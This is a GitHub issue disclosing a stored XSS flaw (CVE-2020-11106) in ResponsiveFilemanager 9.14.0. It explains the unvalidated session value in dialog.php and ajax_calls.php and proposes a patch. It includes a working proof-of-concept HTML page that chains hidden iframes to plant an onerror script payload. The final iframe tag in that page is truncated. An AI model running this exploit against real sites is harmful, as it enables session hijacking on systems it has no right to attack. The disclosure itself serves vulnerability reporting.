New issue

Jump to bottom

Stored xss in v9.14.0 in dialog.php in $_SESSION['RF']["view_type"] because of no validation if ajax_calls.php setted this session. #603

Open **hackoclipse** opened this issue on Mar 28, 2020 · 1 comment

hackoclipse commented on Mar 28, 2020

After taking another look at the ResponsiveFilemanager 9.14.0 i noticed that in the dialog.php file on line 197 that if the $_SESSION['RF']["view_type"] is already set that there would not be done any validation or would it take the data from the config.
https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L197
This created a problem because in ajax_calls.php in the "view" action in the "type" parameter it is possible to set that value without any validation.
https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/ajax_calls.php#L53
This means if you would first request a session by going to the dialog.php, than going to the ajax_calls.php and request the view action and as "type" parameter you give a html tag.
Than if you done al that go back to the dialog.php page than $_SESSION['RF']["view_type"] would be read and unescaped placed on all places where $view is used what created stored xss until the session isn't valid anymore.
A very simple patch would be to add fix_get_params() in the dialog.php on line 197 when the $view is set.
https://github.com/trippo/ResponsiveFilemanager/blob/master/filemanager/dialog.php#L197

I made a simple html file you can use to validate this vulnerability.
It is made for Firefox because it does make use of iframe's and a clickjacking vulnerability but if the session was already set than this would also work in other browsers with a miner change.
you would need to change all "http://192.168.0.29:3001" to your website.
When runned it would make 3 iframe's.
One to request the dialog.php file to get a PHPSESSID and to set $_SESSION['RF']["verify"] as RESPONSIVEfilemanager.
Second it would open the ajax_calls.php to set the html tag.
And tirth it reopens the dialog.php page to trigger the stored xss

```
<!DOCTYPE html>
<html>
<head>
<script>
var url = "http://192.168.0.29:3001";
/**
Execute the "view" action in ajax_calls.php and set as "type" a html tag.
This will set $_SESSION['RF']["view_type"] on line 53 as my html tag.
https://github.com/trippo/ResponsiveFilemanager/blob/428069746fabcef495b44d690bec20a05279a194/filemanager/ajax_calls.php#L53
**/
function iframe1(){
        var ifrm = document.createElement("iframe");
        ifrm.setAttribute("src", url+"/filemanager/ajax_calls.php?action=view&type=%22%3E%3Cimg/src=%27x%27/onerror=alert(document.domain)%3E", "myWindow", "width=200, height=100");
        ifrm.setAttribute("onload", "iframe2();");
        ifrm.setAttribute("style", "visibility: hidden;");
        ifrm.style.width = "640px";
        ifrm.style.height = "480px";
        document.body.appendChild(ifrm);
}

/**
Go back to the dialog.php to trigger a xss starting at line 197 because when $_SESSION['RF']["view_type"] is already set and the view parameter isn't set than it would not take the da
And if view isn't set than it won't execute fix_get_params() what would prevented xss.
because in ajax_calls.php this value wasn't sanitized with fix_get_params() when we setted the $_SESSION['RF']["view_type"] there is a stored xss until the session is expired.
https://github.com/trippo/ResponsiveFilemanager/blob/428069746fabcef495b44d690bec20a05279a194/filemanager/dialog.php#L197
https://github.com/trippo/ResponsiveFilemanager/blob/61f6b6d7d4ca2544afa55e358cb948951d6525f6/filemanager/include/utils.php#L675
**/
function iframe2(){
        var ifrm1 = document.createElement("iframe");
        ifrm1.setAttribute("src", url+"/filemanager/dialog.php?type=0&lang=en_EN&popup=0&crossdomain=0&relative_url=0&akey=key&fldr=/", "myWindow", "width=200, height=100");
        ifrm1.setAttribute("style", "visibility: hidden;");
        ifrm1.style.width = "640px";
        ifrm1.style.height = "480px";
        document.body.appendChild(ifrm1);
}

</script>
</head>
<body>
<!--
create a iframe to the dialog webpage to receive a PHPSESSID and to set $_SESSION['RF']["verify"] as RESPONSIVEfilemanager.
https://github.com/trippo/ResponsiveFilemanager/blob/428069746fabcef495b44d690bec20a05279a194/filemanager/dialog.php#L18
if we would not do that this exploit would fail in ajax_calls.php on line 7.
https://github.com/trippo/ResponsiveFilemanager/blob/428069746fabcef495b44d690bec20a05279a194/filemanager/ajax_calls.php#L7
-->
<iframe src="http://192.168.0.29:3001/filemanager/dialog.php?type=0&lang=en_EN&popup=0&crossdomain=0&relative_url=0&akey=key&fldr=/", width=200, height=100 onload="iframe1();" style="



</body>
</html>
```

A CVE has been requested.

hackoclipse commented on Mar 30, 2020 Author

CVE assinged: CVE-2020-11106

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant